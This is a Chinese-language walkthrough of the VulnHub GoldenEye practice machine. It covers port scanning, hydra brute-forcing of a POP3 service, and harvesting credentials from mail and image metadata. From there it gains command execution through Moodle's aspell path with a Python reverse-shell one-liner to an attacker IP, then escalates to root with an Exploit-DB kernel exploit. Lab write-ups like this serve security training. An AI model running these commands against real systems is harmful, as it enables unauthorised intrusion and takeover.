0%

VulnHub靶机系列:GoldenEye渗透Writeup

前言

定个小目标,把50台vulhub玩一遍,探探其中奥秘。当然最终目标是获取root权限或者admin账号密码。本靶场目标是获取root目录下flag.txt文件。

0x01 靶机环境

靶机:GoldenEye 192.168.140.133

攻击机:kali 192.168.140.128

0x02 信息收集

获取目标IP

首先需要找到攻击目标,nmap -sP 192.168.140.0/24

端口及服务扫描

找到IP地址之后去探测目标机子上开了哪些服务和端口

1
nmap -sV -vv -p 1-65535 192.168.140.133

共开放了4个端口,80端口web服务不可以访问。第一次遇到这种问题。nmap既然可以扫描到靶机,说明攻击机和靶机之间可以ping通,再试试宿主机ping虚拟机,发现不可以,查询ip之后,发现宿主机和虚拟机并不在同一个网段上,那就改了罢

网站信息收集

成功ping通,访问web服务,同时也解决掉了之前MobaXterm的疑惑

看到此图的提示,进入/sev-home/目录中,发现登陆框,一定是要找相关用户名和密码。回到刚才的首页,F12看到terminal.js。

通过报错信息也可看到中间件为apache

访问terminal.js看到以下信息

用burp的decoder模块解密密码,登陆成功,此处用户名一定是小写。

加密格式总结:

  • Unicode:\u开头
  • UTF8/URL:%开头
  • UTF16:\x开头
  • I: 73为ASCII码,对应I

靶机在某个较高端口上开了pop3服务,此处指55007。pop3为邮件服务器

terminal.js中写道,make sure you update your default password(建议改成make sure to update your passwd),也就是说目前是默认密码。用户名为boris,暴力破解

1
hydra -L 1.txt -P /usr/share/wordlists/fasttrack.txt  192.168.140.133 -s 55007 pop3

密码为 secret1!

通过nc telnet连接pop3,登陆并查看boris的邮件信息

其中三封邮件内容如下,

root发给boris的邮件

natalya发给boris的邮件

alec发给boris的邮件

再查看natalya的邮件有什么信息。

得到用户名密码、服务器域名和网址,可在/etc/hosts可添加信息后访问

1
2
3
4
5
6
username: xenia
password: RCP90rulez!

Domain: severnaya-station.com/gnocertdir

point this servers IP to severnaya-station.com in /etc/hosts.

打开本机/etc/hosts。添加域信息

登陆网站看到登陆框,此处是一个开源的CMS系统moodle,用刚才得到的用户名和密码登陆即可

找到一封相关的邮件,邮件中标注doak的用户名:

知道用户名继续hydra爆破,登陆邮件服务器:

此处因为实习原因,电脑更换,内网IP有所差,但实验内容不变。IP变为如下内容:

靶机:GoldenEye 192.168.221.128

攻击机:kali 192.168.221.130

得到doak的CMS的账户密码:

登陆CMS发现在doak隐私文件目录下for james文件下有一个txt文本,文本内容如下所示:

找到一个jpg文件位于以下位置:

使用wget下载到本地,并用strings或exiftool检查图片内容,发现Image Description字段为可疑base64

1
python -c 'import base64;s=base64.'

解码后为xWinter1995x!。到此得到管理员的账号密码,所有人信息一览无余

账号:admin

密码:xWinter1995x!

0x03 漏洞探测及利用

查找历史漏洞

已知Moodle版本为2.2.3。可能存在远程命令执行漏洞CVE-2013-3630,msf中存在此payload,不过打不通。

远程命令执行

首先Home -> Site administration -> Plugins -> Text editors -> TinyMCE HTML editor,将Spell engine更换为PSpellShell。

在Home -> Site administration -> Server -> System paths的Path to aspell处上传代码:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.187.128",8099));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

监听本机8099端口

并在Home -> My profile -> Blogs -> Add a new entry中新建blog,输入任意字符,点Toggle Spellchecker。即可监听成功

靶机上有python 考虑用python获取TTY,否则无法执行某些命令,并查看用户名、内核信息和ID

1
python -c 'import pty; pty.spawn("/bin/bash")'

根据之前获取的内核版本在Exploit-DB中找EXP

37292.c提权

建立HTTP服务传输EXP

1
python3 -m  http.server 8000

进入靶机/tmp目录下载EXP

执行后提示gcc并没有安装,更改EXPgcc为cc编译

然后重新下载shell并编译

运行EXP成功提权,在root目录下找到.flag.txt,注意不是flag.txt

we get it!

0x04 复盘

  • 此处apache中间件无用武之地

  • 用户名小写我是没想到

参考:

  1. 靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
  2. 文章参考:https://programmersought.com/article/93378040168/#_252
  3. https://www.shawroot.cc/1842.html
  4. nc实现telnet连接pop3:https://blog.csdn.net/LL458524906/article/details/74635272
  5. aspell参考:https://cloud.tencent.com/developer/article/1764068
  6. tty-teletypewriter:https://segmentfault.com/a/1190000038466327
你想在文章末尾对读者说的话